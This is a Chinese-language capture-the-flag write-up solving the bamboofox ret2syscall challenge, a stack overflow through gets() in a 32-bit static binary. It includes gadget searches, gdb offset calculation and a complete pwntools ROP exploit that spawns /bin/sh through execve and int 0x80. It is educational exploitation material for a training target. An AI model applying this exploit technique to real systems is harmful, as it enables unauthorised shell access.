bamboofox-ret2syscall

题目地址:bamboofox-ret2syscall

1.基本信息收集

查看文件信息

1
2
file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

查看保护

1
2
3
4
5
6
7
checksec rop
[*] '/home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

IDA反汇编看伪代码

r2sys1.png

2.漏洞定位及利用思路

ret2syscall

很明显gets()函数存在溢出漏洞,但本题没有找到system(“/bin/sh”)函数,且开启了堆栈不可执行保护,因此ret2text,ret2shellcode都无法使用。

这时我们就可以使用ret2syscall的方法了。

ret2syscall,即控制程序执行系统调用,获取 shell。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

寻找gadgets

eax

1
2
3
4
5
6
ROPgadget --binary rop --only "pop|ret" | grep "eax"
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

这里我们选择0x080bb196

ebx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ROPgadget --binary rop --only "pop|ret" | grep "ebx"
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里我们选择0x0806eb90

int 80

1
2
3
4
5
6
7
8
9
10
11
12
 ROPgadget --binary rop --only 'int' 
Gadgets information
============================================================
0x0806bbfd : int 0x66
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x08089488 : int 0xca
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
0x080c1871 : int 6

Unique gadgets found: 7

0x08049421

/bin/sh

1
2
3
4
ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

0x080be408

3.利用步骤

1.计算偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ r
Starting program: /home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0xfbad2288
EDX: 0x80eb4e0 --> 0x0
ESI: 0x0
EDI: 0x80ea00c --> 0x8067b10 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0x6941414d ('MAAi')
ESP: 0xffffce60 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffce60 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffce64 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffce68 ("AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffce6c ("AkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffce70 ("PAAlAAQAAmAARAAoAA")
0020| 0xffffce74 ("AAQAAmAARAAoAA")
0024| 0xffffce78 ("AmAARAAoAA")
0028| 0xffffce7c ("RAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern search
Registers contain pattern buffer:
EBP+0 found at offset: 108
EIP+0 found at offset: 112
Registers point to pattern buffer:
[ESP] --> offset 116 - size ~34
Pattern buffer found at:
0xf7ff9000 : offset 0 - size 150 (mapped)
0xffffcdec : offset 0 - size 150 ($sp + -0x74 [-29 dwords])
References to pattern buffer found at:
0x080ea36c : 0xf7ff9000 (/home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)
0x080ea370 : 0xf7ff9000 (/home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)
0x080ea374 : 0xf7ff9000 (/home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)
0x080ea378 : 0xf7ff9000 (/home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)
0x080ea37c : 0xf7ff9000 (/home/hc/study/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)
0xffffccb4 : 0xf7ff9000 ($sp + -0x1ac [-107 dwords])
0xffffcd50 : 0xf7ff9000 ($sp + -0x110 [-68 dwords])
0xffffcd60 : 0xffffcdec ($sp + -0x100 [-64 dwords])
0xffffcdd0 : 0xffffcdec ($sp + -0x90 [-36 dwords])

2.编写exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./rop')
eax_addr = 0x080bb196
pd_pc_pb_r = 0x0806eb90
int_addr = 0x08049421
binsh_addr = 0x080be408

payload = flat(['A'*112,eax_addr,0xb,pd_pc_pb_r,0,0,binsh_addr,int_addr])
p.recv()
p.sendline(payload)
p.interactive()

r2sys2.png

0%
//这里改为从本地加载